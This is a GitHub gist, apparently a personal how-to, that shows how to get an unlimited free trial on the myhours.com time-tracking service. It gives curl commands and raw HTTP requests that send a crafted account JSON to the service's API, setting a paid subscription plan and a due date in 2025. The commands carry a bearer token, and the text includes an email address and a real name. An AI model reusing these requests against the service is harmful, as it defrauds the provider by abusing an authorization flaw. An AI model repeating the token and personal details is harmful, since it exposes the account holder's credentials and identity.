Last active
September 23, 2019 13:49
-
-
Save zarv1k/5afffada24379b9fd4db to your computer and use it in GitHub Desktop.
How to use myhours.com free with unlimited time trial
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
myhours.com | |
angular app: https://eva.myhours.com/app/assets/myHours.com.js | |
zarv1k user info: | |
curl -X GET -H 'Accept: application/json, text/plain, */*, application/json' -H 'Content-Type: application/json;charset=utf-8' -H 'Authorization: Bearer d6020ac6-d84f-4c05-bc43-5ae290c27e00' "https://eva.myhours.com/api/users/30542" | |
response: | |
{"id":30542,"email":"zarv1k@gmail.com","password":null,"oldPassword":null,"name":"Dmitry Zarva","rate":0.0,"deleted":false,"admin":true,"accountOwner":true,"account":{"id":27707,"dateFormat":null,"timeFormat":null,"delimiters":0,"currency":null,"currencyPlacement":0,"subscriptionPlan":"","showCostRate":false,"subscriptionPlanDueDate":null,"countryCode":null,"company":null,"vatNumber":""},"createdDate":"2015-12-14T21:03:51.2698774+01:00","showNonTracked":false,"showAlternateTrackView":false,"showSubtotalActivity":false} | |
change user | |
request headers: | |
PUT /api/users/30542 HTTP/1.1 | |
Host: eva.myhours.com | |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:42.0) Gecko/20100101 Firefox/42.0 | |
Accept: application/json, text/plain, */*, application/json | |
Accept-Language: en-US,en;q=0.5 | |
Accept-Encoding: gzip, deflate | |
Authorization: Bearer d6020ac6-d84f-4c05-bc43-5ae290c27e00 | |
Content-Type: application/json;charset=utf-8 | |
Referer: https://eva.myhours.com/app/ | |
Content-Length: 144 | |
Cookie: _ga=GA1.2.1249268854.1450125237 | |
Connection: keep-alive | |
request body: | |
curl -X PUT -H 'Accept: application/json, text/plain, */*, application/json' -H "Authorization: Bearer d6020ac6-d84f-4c05-bc43-5ae290c27e00" -H "Content-Type: application/json;charset=utf-8" https://eva.myhours.com/api/users/30542 --data @user.json | |
user.json file content | |
{"email":"zarv1k@gmail.com","id":"30542","name":"Dmitry Zarva","showAlternateTrackView":true,"showNonTracked":true,"showSubtotalActivity":true} | |
unlimited trial: | |
curl -X PUT -H 'Accept: application/json, text/plain, */*, application/json' -H "Authorization: Bearer d6020ac6-d84f-4c05-bc43-5ae290c27e00" -H "Content-Type: application/json;charset=utf-8" https://eva.myhours.com/api/accounts/27707 --data @trial.json | |
trial.json file content | |
{"id":"27707","dateFormat":null,"timeFormat":null,"delimiters":0,"currency":null,"currencyPlacement":0,"showCostRate":false,"subscriptionPlan":"2","subscriptionPlanDueDate":"2025-10-07T00:00:00+00:00"} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This way I have free trial team usage up to 2025 year.